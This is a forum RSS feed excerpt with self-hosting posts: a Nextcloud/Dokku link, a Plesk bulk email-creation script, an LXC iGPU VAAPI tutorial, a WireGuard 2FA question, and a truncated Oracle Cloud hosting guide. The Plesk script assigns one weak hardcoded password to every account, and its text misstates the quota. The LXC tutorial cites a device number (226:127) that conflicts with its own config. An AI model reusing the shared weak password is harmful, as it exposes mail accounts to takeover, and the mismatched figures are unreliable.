        <link>https://dev.lowendspirit.com/index.php?p=/discussion/3841/self-hosting-nextcloud-with-dokku-and-s3-compatible-storage</link>
        <pubDate>Fri, 11 Mar 2022 18:21:38 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>vitobotta</dc:creator>
        <guid isPermaLink="false">3841@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>I wrote a post on how to self host Nextcloud with Dokku - <a href="https://vitobotta.com/2022/03/11/self-hosting-nextcloud-with-dokku-and-s3-compatible-storage/" rel="nofollow">https://vitobotta.com/2022/03/11/self-hosting-nextcloud-with-dokku-and-s3-compatible-storage/</a></p>

<p>Usually tutorials are about plain installation or standard Docker, but I really like Dokku.<br />
In the post I am also using Wasabi (any s3 compatible service will do) as primary storage instead of local storage. So I can store any amounts of data for cheap.</p>

<p>Thoughts? Do you use Nextcloud? If yes, how do you self host it?</p>
]]>
        </description>
    </item>
    <item>
        <title>Plesk Bullk Email account creation script</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/3786/plesk-bullk-email-account-creation-script</link>
        <pubDate>Thu, 17 Feb 2022 11:02:03 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>hostarts</dc:creator>
        <guid isPermaLink="false">3786@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>Hi,</p>

<p>I found this could be helpful for many people looking to create multiple Plesk email accounts especially since we are getting a lot of migrations from the old Google Gsuite Legacy edition.</p>

<p>The script reuires a txt file where the emails must be listed 1 per line :</p>

<pre spellcheck="false" tabindex="0">#!/bin/bash
while read user
do
plesk bin mail --create $user -passwd 12345@@ -mbox_quota 25000M -mailbox true
done &lt; userfile.txt
</pre>

<p>The script may fail if your secuity standards for your passwords are too high so you may edit that 12345<br />@ if needed.</p>

<p>By default i have aligned this at 15000M or 15G to equal Legacy Google Workspace accounts.</p>

<p>I hope this helps</p>
]]>
        </description>
    </item>
    <item>
        <title>Intel iGPU VAAPI in Unprivileged LXC 4.0 Container</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/3782/intel-igpu-vaapi-in-unprivileged-lxc-4-0-container</link>
        <pubDate>Wed, 16 Feb 2022 05:35:57 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>yoursunny</dc:creator>
        <guid isPermaLink="false">3782@/index.php?p=/discussions</guid>
        <description><![CDATA[<blockquote><div>
  <p>This article is originally published on yoursunny.com blog <a href="https://yoursunny.com/t/2022/lxc-vaapi/" rel="nofollow">https://yoursunny.com/t/2022/lxc-vaapi/</a></p>
</div></blockquote>

<h2 data-id="background">Background</h2>

<p>I recently bought a DELL OptiPlex 7040 Micro desktop computer and wanted to operate it as a dedicated server.<br />
I installed Debian 11 on the computer, and placed it into the closet to be accessed over SSH only.<br />
To keep the host machine stable, I decide to run most workloads in <a rel="nofollow" href="https://wiki.debian.org/LXC">LXC</a> containers, which are said to be Fast-as-Metal.<br />
Since I <a rel="nofollow" href="https://yoursunny.com/t/2021/NDN-video-ndn6/">operate my own video streaming website</a>, I have an LXC container for encoding the videos.</p>

<p>The computer comes with an <a rel="nofollow" href="https://ark.intel.com/content/www/us/en/ark/products/88183/intel-core-i56500t-processor-6m-cache-up-to-3-10-ghz.html">Intel Core i5-6500T</a> processor.<br />
It has 4 hardware cores running at 2.50GHz frequency, and belongs to the Skylake family.<br />
FFmpeg is happily encoding my videos on this CPU.</p>

<p>As I read through the processor specification, I noticed this section:</p>

<ul><li><p>Processor Graphics: Intel® HD Graphics 530</p>

<ul><li>Processor Graphics indicates graphics processing circuitry integrated into the processor, providing the graphics, compute, media, and display capabilities.</li>
</ul></li>
<li><p>Intel® Quick Sync Video: Yes</p>

<ul><li>Intel® Quick Sync Video delivers fast conversion of video for portable media players, online sharing, and video editing and authoring.</li>
</ul></li>
</ul><p>It seems that I have a GPU!<br />
Can I make use of this Intel GPU and accelerate video encoding workloads?</p>

<h2 data-id="story">Story</h2>

<blockquote><div>
  <p>If you just want the solution, skip to the <strong>TL;DR Steps to Enable VAAPI in LXC</strong> section at the end.</p>
</div></blockquote>

<h3 data-id="testing-vaapi-with-docker">Testing VAAPI with Docker</h3>

<p>I read FFmpeg <a rel="nofollow" href="https://trac.ffmpeg.org/wiki/HWAccelIntro">HWAccelIntro</a> and <a rel="nofollow" href="https://trac.ffmpeg.org/wiki/Hardware/QuickSync">QuickSync</a> pages, and learned:</p>

<ul><li>FFmpeg supports hardware acceleration on various GPU brands including Intel, AMD, and NVIDIA.</li>
<li>Hardware encoders typically generate outputs of significantly lower quality than good software encoders, but are generally faster and do not use much CPU resource.</li>
<li><p>On Linux, FFmpeg may access Intel GPU through libmfx, OpenCL, or VAAPI.<br />
Among these, encoding is possible with libmfx or VAAPI.</p></li>
<li><p>Each generation Intel processors has different video encoding capabilities.<br />
For the Skylake family that I have, the integrated GPU can encode to H.264, MPEG-2, VP8, and H.265 formats.</p></li>
</ul><p>I decided to experiment with VAAPI, because it has the shortest name 🤪.<br />
I quickly found <a rel="nofollow" href="https://hub.docker.com/r/jrottenberg/ffmpeg">jrottenberg/ffmpeg</a> Docker image.<br />
Following the example commands on <a rel="nofollow" href="https://trac.ffmpeg.org/wiki/Hardware/VAAPI">FFmpeg VAAPI</a> page, I verified that my GPU can successfully encode videos to H264 format:</p>

<pre spellcheck="false" tabindex="0">docker run \
    --device /dev/dri \
    -v $(pwd):/data -w /data \
  jrottenberg/ffmpeg:4.1-vaapi \
    -loglevel info -stats \
    -vaapi_device /dev/dri/renderD128 \
    -i input.mov \
    -vf 'hwupload,scale_vaapi=w=640:h=480:format=nv12' \
    -preset ultrafast \
    -c:v h264_vaapi \
    -f mp4 output.mp4
</pre>

<h3 data-id="the-renderd128-device">The renderD128 Device</h3>

<p>This above <code spellcheck="false" tabindex="0">docker run</code> command tells me that the <code spellcheck="false" tabindex="0">/dev/dri/renderD128</code> device is likely the key of getting Intel GPU to work in an LXC container.<br />
It is a character device with major number 226 and minor number 128.</p>

<pre spellcheck="false" tabindex="0">sunny@sunnyD:~$ ls -l /dev/dri
total 0
drwxr-xr-x 2 root root         80 Jan 22 11:04 by-path
crw-rw---- 1 root video  226,   0 Jan 22 11:04 card0
crw-rw---- 1 root render 226, 128 Jan 22 11:04 renderD128
</pre>

<p>Inside the container, this device does not exist.<br />
Naively, I tried <code spellcheck="false" tabindex="0">mknod</code>, but it returns an "operation not permitted" error:</p>

<pre spellcheck="false" tabindex="0">ubuntu@video:~$ ls -l /dev/dri
ls: cannot access '/dev/dri': No such file or directory

ubuntu@video:~$ sudo mkdir /dev/dri

ubuntu@video:~$ sudo mknod /dev/dri/renderD128 c 226 128
mknod: /dev/dri/renderD128: Operation not permitted
</pre>

<p>I searched for this problem over several weeks, found several articles regarding how to get <a rel="nofollow" href="https://forums.plex.tv/t/pms-installation-guide-when-using-a-proxmox-5-1-lxc-container/219728">Plex</a> or <a rel="nofollow" href="https://emby.media/community/index.php?/topic/49680-howto-vaapi-transcoding-inside-lxc-container/">Emby</a> media server to use VAAPI hardware encoding from LXC containers, but they are either using <a rel="nofollow" href="https://forum.proxmox.com/threads/lxc-no-permission-to-use-vaapi.91536/">Proxmox</a> or <a rel="nofollow" href="https://linuxcontainers.org/lxd/">LXD</a> (unavailable on Debian), both differ from the plain LXC that I'm trying to use.<br />
From these articles, I gathered enough hints on what's needed:</p>

<ul><li>LXC container cannot <code spellcheck="false" tabindex="0">mknod</code> arbitrary devices for security reasons.</li>
<li><p>To have a device inode in an LXC container, the container config must:</p>

<ul><li>grant permission with <code spellcheck="false" tabindex="0">lxc.cgroup.devices.allow</code> directive, and</li>
<li>mount the device with <code spellcheck="false" tabindex="0">lxc.mount.entry</code> directory.</li>
</ul></li>
<li><p>In addition to <code spellcheck="false" tabindex="0">ffmpeg</code>, it's necessary to install <code spellcheck="false" tabindex="0">vainfo i965-va-driver</code> packages (available on both Debian and Ubuntu).</p></li>
</ul><h3 data-id="nobody-nogroup">nobody:nogroup</h3>

<p>With these configs in place, the device showed up in the container, but it does not work:</p>

<pre spellcheck="false" tabindex="0">ubuntu@video:~$ ls -l /dev/dri
total 0
crw-rw---- 1 nobody nogroup 226, 128 Jan 22 16:04 renderD128
ubuntu@video:~$ vainfo
error: can't connect to X server!
error: failed to initialize display
ubuntu@video:~$ sudo vainfo
error: XDG_RUNTIME_DIR not set in the environment.
error: can't connect to X server!
error: failed to initialize display
</pre>

<p>One suspicious thing is the <code spellcheck="false" tabindex="0">nobody:nogroup</code> owner on the renderD128 device.<br />
It differs from the <code spellcheck="false" tabindex="0">root:render</code> owner as seen on the host machine.<br />
Naively, I tried <code spellcheck="false" tabindex="0">chown</code>, but it returns an "invalid argument" error and has no effect:</p>

<pre spellcheck="false" tabindex="0">ubuntu@video:~$ sudo chown root:render /dev/dri/renderD128
chown: changing ownership of '/dev/dri/renderD128': Invalid argument

ubuntu@video:~$ ls -l /dev/dri
total 0
crw-rw---- 1 nobody nogroup 226, 128 Jan 22 16:04 renderD128
</pre>

<p><a rel="nofollow" href="https://www.reddit.com/r/Proxmox/comments/ii3u2c/comment/g36l72j/">A Reddit post</a> claims that running <code spellcheck="false" tabindex="0">chmod 0666 /dev/dri/renderD128</code> from the host machine would solve this problem.<br />
I gave it a try and it was indeed effective.<br />
However, I know this isn't a <em>proper</em> solution because you are not supposed to change permission on device inodes.<br />
So I continued searching.</p>

<h3 data-id="idmap">idmap</h3>

<p>The last piece of the puzzle lies in <a rel="nofollow" href="https://man7.org/linux/man-pages/man7/user_namespaces.7.html">user and group ID mappings</a>.<br />
In an unprivileged LXC container, user and group IDs are shifted, so that the root user (UID 0) inside the container would not gain root privilege on the host machine.<br /><code spellcheck="false" tabindex="0">lxc.idmap</code> directive in the container config controls these mappings.<br />
In my container, the relevant config was:</p>

<pre spellcheck="false" tabindex="0"># map container UID 0~65535 to host UID 100000~165535
lxc.idmap = u 0 100000 65536
# map container GID 0~65535 to host GID 100000~165535
lxc.idmap = g 0 100000 65536
</pre>

<p>Notably, the <code spellcheck="false" tabindex="0">root</code> user (UID 0) and <code spellcheck="false" tabindex="0">render</code> group (GID 107) on the host user aren't mapped to anything in the container.<br />
The kernel <a rel="nofollow" href="https://discuss.linuxcontainers.org/t/strange-nobody-nogroup-ownership-in-unprivileged-lxc/1705/2">uses 65534 to represent a UID/GID which is outside the container's map</a>.<br />
Hence, the renderD128 device, when mounted into the container, has owner UID and GID being 65534:</p>

<pre spellcheck="false" tabindex="0">ubuntu@video:~$ ls -ln /dev/dri
total 0
crw-rw---- 1 65534 65534 226, 128 Jan 22 16:04 renderD128
</pre>

<p>65534 is the UID of <code spellcheck="false" tabindex="0">nobody</code> and the GID of <code spellcheck="false" tabindex="0">nogroup</code>, which is why this device appears to be owned by <code spellcheck="false" tabindex="0">nobody:nogroup</code>.</p>

<p>To make the renderD128 owned by <code spellcheck="false" tabindex="0">render</code> group, the correct solution is mapping the <code spellcheck="false" tabindex="0">render</code> group inside the container to the <code spellcheck="false" tabindex="0">render</code> group on the host.<br />
This, in turn, requires two ingredients:</p>

<ul><li><a rel="nofollow" href="https://man7.org/linux/man-pages/man5/subgid.5.html"><code spellcheck="false" tabindex="0">/etc/subgid</code></a> must authorize the host user who starts the container to map the GID of the host's <code spellcheck="false" tabindex="0">render</code> group into child namespaces.</li>
<li>The container config should have an <code spellcheck="false" tabindex="0">lxc.idmap</code> directive that maps the GID of the container's <code spellcheck="false" tabindex="0">render</code> group to the GID of the host's <code spellcheck="false" tabindex="0">render</code> group.</li>
</ul><p>So I added <code spellcheck="false" tabindex="0">lxc:107:1</code> to <code spellcheck="false" tabindex="0">/etc/subgid</code>, in which <code spellcheck="false" tabindex="0">lxc</code> is the ordinary user on the host machine that starts the containers, and <code spellcheck="false" tabindex="0">107</code> is the GID of <code spellcheck="false" tabindex="0">render</code> group on the host machine.<br />
Then I modified the container config as:</p>

<pre spellcheck="false" tabindex="0"># map container UID 0-65535 to host UID 100000-165535
lxc.idmap = u 0 100000 65536
# map container GID 0-65535 to host GID 100000-165535
lxc.idmap = g 0 100000 65536
# map container GID 109 to host GID 107
lxc.idmap = g 109 107 1
</pre>

<p>However, the container fails to start:</p>

<pre spellcheck="false" tabindex="0">lxc@sunnyD:~$ lxc-unpriv-start -F video
Running scope as unit: run-r611f1778b87645918a2255d44073b86b.scope
lxc-start: video: conf.c: lxc_map_ids: 2865 newgidmap failed to write mapping "newgidmap: write to gid_map failed: Invalid argument": newgidmap 5297 0 100000 65536 109 107 1
             lxc-start: video: start.c: lxc_spawn: 1726 Failed to set up id mapping.
</pre>

<p>Re-reading <a rel="nofollow" href="https://man7.org/linux/man-pages/man7/user_namespaces.7.html">user_namespaces(7)</a> manpage reveals the reason:</p>

<blockquote><div>
  <p>Defining user and group ID mappings: writing to uid_map and gid_map</p>
  
  <ul><li>The range of user IDs (group IDs) specified in each line cannot overlap with the ranges in any other lines.</li>
  </ul></div></blockquote>

<p>The above container config defines two group ID mappings that overlaps at the GID 109, which causes the failure.<br />
Instead, it must be split to three ranges: 0-108 mapped to 100000-100108, 109 mapped to 107, 110-65535 mapped to 100110-165535.</p>

<p>Another idea I had, changing the GID of the <code spellcheck="false" tabindex="0">render</code> group to a large number greater than 65535 and thus dodge the overlap, turns out to be a bad idea, as it causes an error during system upgrades:</p>

<pre spellcheck="false" tabindex="0">ubuntu@video:~$ sudo apt full-upgrade
Setting up udev (245.4-4ubuntu3.15) ...
The group `render' already exists and is not a system group. Exiting.
dpkg: error processing package udev (--configure):
 installed udev package post-installation script subprocess returned error exit status 1
</pre>

<p>Hence, I must carefully calculate the GID ranges and write three GID mapping entries.<br />
With this final piece in place, success!</p>

<pre spellcheck="false" tabindex="0">ubuntu@video:~$ vainfo 2&gt;/dev/null | head -10
vainfo: VA-API version: 1.7 (libva 2.6.0)
vainfo: Driver version: Intel i965 driver for Intel(R) Skylake - 2.4.0
vainfo: Supported profile and entrypoints
      VAProfileMPEG2Simple            : VAEntrypointVLD
      VAProfileMPEG2Simple            : VAEntrypointEncSlice
      VAProfileMPEG2Main              : VAEntrypointVLD
      VAProfileMPEG2Main              : VAEntrypointEncSlice
      VAProfileH264ConstrainedBaseline: VAEntrypointVLD
      VAProfileH264ConstrainedBaseline: VAEntrypointEncSlice
      VAProfileH264ConstrainedBaseline: VAEntrypointEncSliceLP
</pre>

<p>Encoding speed comparison on one of my videos:</p>

<ul><li><p>h264, ultrafast, 640x480 resolution</p></li>
<li><p>Intel GPU VAAPI encoding:</p>

<pre spellcheck="false" tabindex="0">frame= 2900 fps=201 q=-0.0 Lsize=   18208kB time=00:01:36.78 bitrate=1541.2kbits/s speed=6.71x
video:16583kB audio:1528kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 0.533910%
</pre></li>
<li><p>Skylake CPU encoding:</p>

<pre spellcheck="false" tabindex="0">frame= 2900 fps=171 q=-1.0 Lsize=   18786kB time=00:01:36.78 bitrate=1590.1kbits/s speed=5.71x
video:17177kB audio:1528kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 0.434900%
</pre></li>
<li><p>GPU encoding was 17.5% faster than CPU encoding.</p></li>
</ul><h2 data-id="tl-dr-steps-to-enable-vaapi-in-lxc">TL;DR Steps to Enable VAAPI in LXC</h2>

<ol><li><p>Confirm that the <code spellcheck="false" tabindex="0">/dev/dri/renderD128</code> device exists on the host machine.</p>

<pre spellcheck="false" tabindex="0">lxc@sunnyD:~$ ls -l /dev/dri/renderD128
crw-rw---- 1 root render 226, 128 Jan 22 11:04 /dev/dri/renderD128
</pre>

<p>If the device does not exist, you do not have an Intel GPU or it is not recognized by the kernel.<br />
You must resolve this issue before proceeding to the next step.</p></li>
<li><p>Find the GID of the <code spellcheck="false" tabindex="0">render</code> group on the host machine:</p>

<pre spellcheck="false" tabindex="0">lxc@sunnyD:~$ getent group render
render:x:107:
</pre>

<p>On my computer, the GID is 107.</p></li>
<li><p>Authorize the host user who starts LXC containers to map the GID to child namespaces.</p>

<ol><li><p>Run <code spellcheck="false" tabindex="0">sudoedit /etc/subgid</code> to open the editor.</p></li>
<li><p>Append a line:</p>

<pre spellcheck="false" tabindex="0">lxc:107:1
</pre></li>
</ol><p>Explanation:</p>

<ul><li><code spellcheck="false" tabindex="0">lxc</code> refers to the host user account.</li>
<li><code spellcheck="false" tabindex="0">107</code> is the GID of the <code spellcheck="false" tabindex="0">render</code> group, as seen in step 2.</li>
<li><code spellcheck="false" tabindex="0">1</code> means authorizing just one GID.</li>
</ul></li>
<li><p>Create and start an LXC container, and find out the GID of the container's <code spellcheck="false" tabindex="0">render</code> group.<br />
I'm using a Ubuntu 20.04 template, but the same procedure is applicable to other templates.</p>

<pre spellcheck="false" tabindex="0">lxc@sunnyD:~$ export DOWNLOAD_KEYSERVER=keyserver.ubuntu.com

lxc@sunnyD:~$ lxc-create -n video -t download -- -d ubuntu -r focal -a amd64
Using image from local cache
Unpacking the rootfs

You just created an Ubuntu focal amd64 (20211228_07:42) container.

To enable SSH, run: apt install openssh-server
No default root or user password are set by LXC.

lxc@sunnyD:~$ lxc-unpriv-start video
Running scope as unit: run-re7a88541bd5d42ab92c9ea6d4cd2a19f.scope

lxc@sunnyD:~$ lxc-unpriv-attach video getent group render
Running scope as unit: run-reaad3e4a549a420bacb160fd8cbc87a8.scope
render:x:109:
</pre></li>
<li><p>Edit the container config.</p>

<ol><li><p>Run <code spellcheck="false" tabindex="0">editor ~/.local/share/lxc/video/config</code> to open the editor.</p></li>
<li><p>Delete existing lines that start with <code spellcheck="false" tabindex="0">lxc.idmap = g</code>.</p>

<p>However, do not delete lines that start with <code spellcheck="false" tabindex="0">lxc.idmap = u</code>.</p></li>
<li><p>Append these lines:</p>

<pre spellcheck="false" tabindex="0">lxc.idmap = g 0 100000 109
lxc.idmap = g 109 107 1
lxc.idmap = g 110 100110 65426
lxc.cgroup.devices.allow = c 226:128 rwm
lxc.mount.entry = /dev/dri/renderD128 dev/dri/renderD128 none bind,optional,create=file
</pre></li>
</ol><p>Explanation:</p>

<ul><li><p>The <code spellcheck="false" tabindex="0">lxc.idmap = g</code> directive defines a group ID mapping.</p>

<ul><li><code spellcheck="false" tabindex="0">109</code> is the GID of the container's <code spellcheck="false" tabindex="0">render</code> group, as seen instep 4.</li>
<li><code spellcheck="false" tabindex="0">107</code> is the GID of the host's <code spellcheck="false" tabindex="0">render</code> group, as seen in step 2.</li>
</ul></li>
<li><p>The <code spellcheck="false" tabindex="0">lxc.cgroup.devices.allow</code> directive exposes a device to the container.</p>

<ul><li><code spellcheck="false" tabindex="0">226:127</code> is the major number and minor number of the renderD128 device, as seen in step 1.</li>
</ul></li>
<li><p>The <code spellcheck="false" tabindex="0">lxc.mount.entry</code> directive mounts the host's renderD128 device into the container.</p></li>
</ul><p>You may use this handy idmap calculator to generate the <code spellcheck="false" tabindex="0">lxc.idmap</code> directives:<br />
(read original article <a href="https://yoursunny.com/t/2022/lxc-vaapi/" rel="nofollow">https://yoursunny.com/t/2022/lxc-vaapi/</a> to use the JavaScript calculator)</p></li>
<li><p>Restart the container and attach to its console.</p>

<pre spellcheck="false" tabindex="0">lxc@sunnyD:~$ lxc-stop video

lxc@sunnyD:~$ lxc-unpriv-start video
Running scope as unit: run-r77f46b8ba5b24254a99c1ef9cb6384c3.scope

lxc@sunnyD:~$ lxc-unpriv-attach video
Running scope as unit: run-r11cf863c81e74fcfa1615e89902b1284.scope
</pre></li>
<li><p>Install FFmpeg and VAAPI packages in the container.</p>

<pre spellcheck="false" tabindex="0">root@video:/# apt update

root@video:/# apt install --no-install-recommends ffmpeg vainfo i965-va-driver
0 upgraded, 148 newly installed, 0 to remove and 15 not upgraded.
Need to get 79.2 MB of archives.
After this operation, 583 MB of additional disk space will be used.
Do you want to continue? [Y/n]
</pre></li>
<li><p>Confirm that the <code spellcheck="false" tabindex="0">/dev/dri/renderD128</code> device exists in the container and is owned by <code spellcheck="false" tabindex="0">render</code> group.</p>

<pre spellcheck="false" tabindex="0">root@video:/# ls -l /dev/dri/renderD128
crw-rw---- 1 nobody render 226, 128 Jan 22 16:04 /dev/dri/renderD128
</pre>

<p>It's normal for the owner user to show as <code spellcheck="false" tabindex="0">nobody</code>.<br />
This does not affect operation as long as the calling user is a member of the <code spellcheck="false" tabindex="0">render</code> group.<br />
The only implication is that, the container's <code spellcheck="false" tabindex="0">root</code> user cannot access the renderD128 unless it is added to the <code spellcheck="false" tabindex="0">render</code> group.</p></li>
<li><p>Add container's user account(s) to <code spellcheck="false" tabindex="0">render</code> group.<br />
These users will have access to the GPU.</p>

<pre spellcheck="false" tabindex="0">root@video:/# /sbin/adduser ubuntu render
Adding user `ubuntu' to group `render' ...
Adding user ubuntu to group render
Done.
</pre></li>
<li><p>Become one of these users, and verify the Intel iGPU is operational in the LXC container.</p>

<pre spellcheck="false" tabindex="0">root@video:/# sudo -iu ubuntu

ubuntu@video:~$ vainfo
error: XDG_RUNTIME_DIR not set in the environment.
error: can't connect to X server!
libva info: VA-API version 1.7.0
libva info: Trying to open /usr/lib/x86_64-linux-gnu/dri/iHD_drv_video.so
libva info: va_openDriver() returns -1
libva info: Trying to open /usr/lib/x86_64-linux-gnu/dri/i965_drv_video.so
libva info: Found init function __vaDriverInit_1_6
libva info: va_openDriver() returns 0
vainfo: VA-API version: 1.7 (libva 2.6.0)
vainfo: Driver version: Intel i965 driver for Intel(R) Skylake - 2.4.0
vainfo: Supported profile and entrypoints
      VAProfileMPEG2Simple            : VAEntrypointVLD
      VAProfileMPEG2Simple            : VAEntrypointEncSlice
      VAProfileMPEG2Main              : VAEntrypointVLD
      VAProfileMPEG2Main              : VAEntrypointEncSlice
      VAProfileH264ConstrainedBaseline: VAEntrypointVLD
      VAProfileH264ConstrainedBaseline: VAEntrypointEncSlice
      VAProfileH264ConstrainedBaseline: VAEntrypointEncSliceLP
      VAProfileH264ConstrainedBaseline: VAEntrypointFEI
      VAProfileH264ConstrainedBaseline: VAEntrypointStats
      VAProfileH264Main               : VAEntrypointVLD
      VAProfileH264Main               : VAEntrypointEncSlice
      VAProfileH264Main               : VAEntrypointEncSliceLP
      VAProfileH264Main               : VAEntrypointFEI
      VAProfileH264Main               : VAEntrypointStats
      VAProfileH264High               : VAEntrypointVLD
      VAProfileH264High               : VAEntrypointEncSlice
      VAProfileH264High               : VAEntrypointEncSliceLP
      VAProfileH264High               : VAEntrypointFEI
      VAProfileH264High               : VAEntrypointStats
      VAProfileH264MultiviewHigh      : VAEntrypointVLD
      VAProfileH264MultiviewHigh      : VAEntrypointEncSlice
      VAProfileH264StereoHigh         : VAEntrypointVLD
      VAProfileH264StereoHigh         : VAEntrypointEncSlice
      VAProfileVC1Simple              : VAEntrypointVLD
      VAProfileVC1Main                : VAEntrypointVLD
      VAProfileVC1Advanced            : VAEntrypointVLD
      VAProfileNone                   : VAEntrypointVideoProc
      VAProfileJPEGBaseline           : VAEntrypointVLD
      VAProfileJPEGBaseline           : VAEntrypointEncPicture
      VAProfileVP8Version0_3          : VAEntrypointVLD
      VAProfileVP8Version0_3          : VAEntrypointEncSlice
      VAProfileHEVCMain               : VAEntrypointVLD
      VAProfileHEVCMain               : VAEntrypointEncSlice
</pre></li>
</ol><h2 data-id="conclusion">Conclusion</h2>

<p>This article explores how to make use of Intel processor's integrated GPU in an unprivileged LXC 4.0 container, on Debian 11 bullseye host machine without Proxmox or LXD.<br />
The key points include mounting the renderD128 device into the container, configuring idmap for the <code spellcheck="false" tabindex="0">render</code> group, and verifying the setup with <code spellcheck="false" tabindex="0">vainfo</code> command.<br />
The result is an LXC container that can encode videos to H.264 and other formats in the GPU with Intel Quick Sync Video feature, which is 17.5% faster than CPU encoding.</p>
]]>
        </description>
    </item>
    <item>
        <title>Wireguard and 2FA/MFA</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/3766/wireguard-and-2fa-mfa</link>
        <pubDate>Wed, 09 Feb 2022 18:35:55 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>rcy026</dc:creator>
        <guid isPermaLink="false">3766@/index.php?p=/discussions</guid>
        <description><![CDATA[<p>I'm currently trying to get Wireguard to work with 2FA. Wireguard itself does not support it, but there are some third party patches that claim to make it work. Have not been able to try any of them though.<br />
I have fiddled a bit with a solution where I do the 2FA part with iptables after the tunnel is established, but it doesn't really feel like a production ready solution. I've played around with the idea of some kind of lock on the config file for the client that would require a 2FA to unlock, but it also feels a bit too "hacky".</p>

<p>Has anyone found a nice solution for this?</p>

<p>And yes, I know openvpn and a bunch of others already support 2FA. That is not an answer to the question.</p>
]]>
        </description>
    </item>
    <item>
        <title>How to Host a Website in Oracle Cloud Free Tier</title>
        <link>https://dev.lowendspirit.com/index.php?p=/discussion/2339/how-to-host-a-website-in-oracle-cloud-free-tier</link>
        <pubDate>Tue, 29 Dec 2020 14:46:26 +0000</pubDate>
        <category>Technical</category>
        <dc:creator>yoursunny</dc:creator>
        <guid isPermaLink="false">2339@/index.php?p=/discussions</guid>
        <description><![CDATA[<blockquote><div>
  <p>This post is originally published on yoursunny.com blog <a href="https://yoursunny.com/t/2020/OracleCloud-website/" rel="nofollow">https://yoursunny.com/t/2020/OracleCloud-website/</a></p>
</div></blockquote>

<p><strong>Oracle Cloud</strong> is a cloud computing service offered by Oracle Corporation.<br />
Oracle Cloud has a generous <a rel="nofollow" href="https://www.oracle.com/cloud/free/">free tier</a> that offers two "always free" Micro instances with the following <a rel="nofollow" href="https://docs.oracle.com/en-us/iaas/Content/FreeTier/freetier_topic-Always_Free_Resources.htm">specification</a>:</p>

<ul><li>KVM virtualization</li>
<li>1/8 CPU cores (AMD EPYC 7551)</li>
<li>1GB memory</li>
<li>47GB disk storage</li>
<li>1 IPv4 address</li>
<li>up to 32 IPv6 addresses</li>
<li>50Mbps Internet bandwidth</li>
</ul><p>I <a rel="nofollow" href="https://www.oracle.com/cloud/free/">signed up</a> for Oracle Cloud, so that I can have some more free computing resources to play with.<br />
The sign-up procedure requires a credit card for identity confirmation purpose, but the credit card will not be charged.<br />
During sign-up, there's a choice of <em>home region</em>, which determines the location of VM instances; once selected, it cannot be changed in the future.</p>

<p>A common use case for a virtual machine is to host a website.<br />
Due to the firewalls, hosting a website on Oracle Cloud needs a few more steps.<br />
Here's exactly how to deploy a website in a Oracle Cloud Free Tier VM instance.</p>

<p>UPDATED 2022-01-27:<br />
Oracle Cloud now supports IPv6.<br />
Instructions are updated to enable IPv6 on the web server.</p>

<h2 data-id="create-a-vm-instance">Create a VM Instance</h2>

<p>Each Oracle Cloud account is eligible for two <em>Always Free</em> Micro instances.<br />
To create a VM, <a rel="nofollow" href="https://cloud.oracle.com/">sign in to the Oracle Cloud console</a>, in "Launch Resources" section click <strong>Create a VM instance</strong>.<br />
This takes us to the "Create Compute Instance" page.</p>

<p>In "Image and shape" section, select <strong>VM.Standard.E2.1.Micro</strong> shape and <strong>Canonical Ubuntu 20.04</strong> image.<br />
Do not use the "Canonical Ubuntu 20.04 Minimal" image.</p>

<p><img src="https://yoursunny.com/t/2020/OracleCloud-website/ImageShape.png" alt="Create Compute Instance - Image and shape" /></p>

<p>In "Configure network" section, select <strong>Create new virtual cloud network</strong>, and keep other options at their default values.</p>

<p>In "Add SSH keys" section, select <strong>Paste public keys</strong>, and paste your SSH public key in the text box below.<br />
If you do not have a SSH public key, <a rel="nofollow" href="https://git-scm.com/book/en/v2/Git-on-the-Server-Generating-Your-SSH-Public-Key">follow this guide</a> to generate one.</p>

<p>Finally, click the <strong>Create</strong> button to create the compute VM instance.<br />
Within a few seconds, you should see the "Instance Details" page.</p>

<p><img src="https://yoursunny.com/t/2020/OracleCloud-website/InstanceDetails.png" alt="Instance Details" /></p>

<p>You can SSH into the VM instance using the public IP address and username displayed in the "Instance Access" section.</p>

<h2 data-id="enable-ipv6">Enable IPv6</h2>

<p>In this year, it is important for websites to support IPv6.<br />
Today, most cellular networks are IPv6 only.<br />
By enabling IPv6, it enables mobile users to access your website more efficiently, because their sessions do not need to go through IPv4 address translation proxies.</p>

<p>Oracle Cloud compute VM instances are initially assigned with only an IPv4 address.<br />
There are 5 steps for enabling IPv6 on the VM:</p>

<ol><li>Assign IPv6 CIDR block to the <em>Virtual Cloud Network</em>.</li>
<li>Assign IPv6 CIDR block to the <em>Subnet</em>.</li>
<li>Configure IPv6 <em>Route Rule</em>.</li>
<li>Assign IPv6 Address to the compute VM's <em>VNIC</em>.</li>
<li>Configure firewall rules.</li>
</ol><p>We will perform steps 1~4 now, and do step 5 a little later (in "Configure Ingress and Egress Rules" section).</p>

<p>Looking at the "Instance Details" page, click the link next to "Virtual cloud network".<br />
This takes us to the "Virtual Cloud Network Details" page.</p>

<p>Select "CIDR Blocks" tab on the left side "Resources" menu, and then click <strong>Add IPv6 CIDR Block</strong> button.<br />
You will be asked to confirm that you want to enable IPv6.<br />
When you click <strong>Confirm</strong>, a /56 block of 4,722,366,482,869,645,213,696 IPv6 addresses are automatically allocated to your <em>Virtual Cloud Network</em> (IPv6 step 1).</p>

<p><img src="https://yoursunny.com/t/2020/OracleCloud-website/CIDR.png" alt="CIDR Blocks" /></p>

<p>Select "Subnets" tab on the left side "Resources" menu.<br />
You should see an existing <em>Subnet</em>.<br />
It would have an IPv4 CIDR Block, but the "IPv6 CIDR Block" column is blank.<br />
Click the <strong>⋮</strong> button in the rightmost column, and select "Edit" in the dropdown menu.<br />
Then, check <strong>Enable IPv6 CIDR Block</strong> box, enter two hexadecimal digits (such as <code spellcheck="false" tabindex="0">00</code>) in the box just before "::/64", and click <strong>Save Changes</strong> (IPv6 step 2).</p>

<p><img src="https://yoursunny.com/t/2020/OracleCloud-website/IPv6CIDR.png" alt="IPv6 CIDR Block" /></p>

<p>Select "Route Tables" tab on the left side "Resources" menu, and then click <strong>Default Route Table</strong> link.<br />
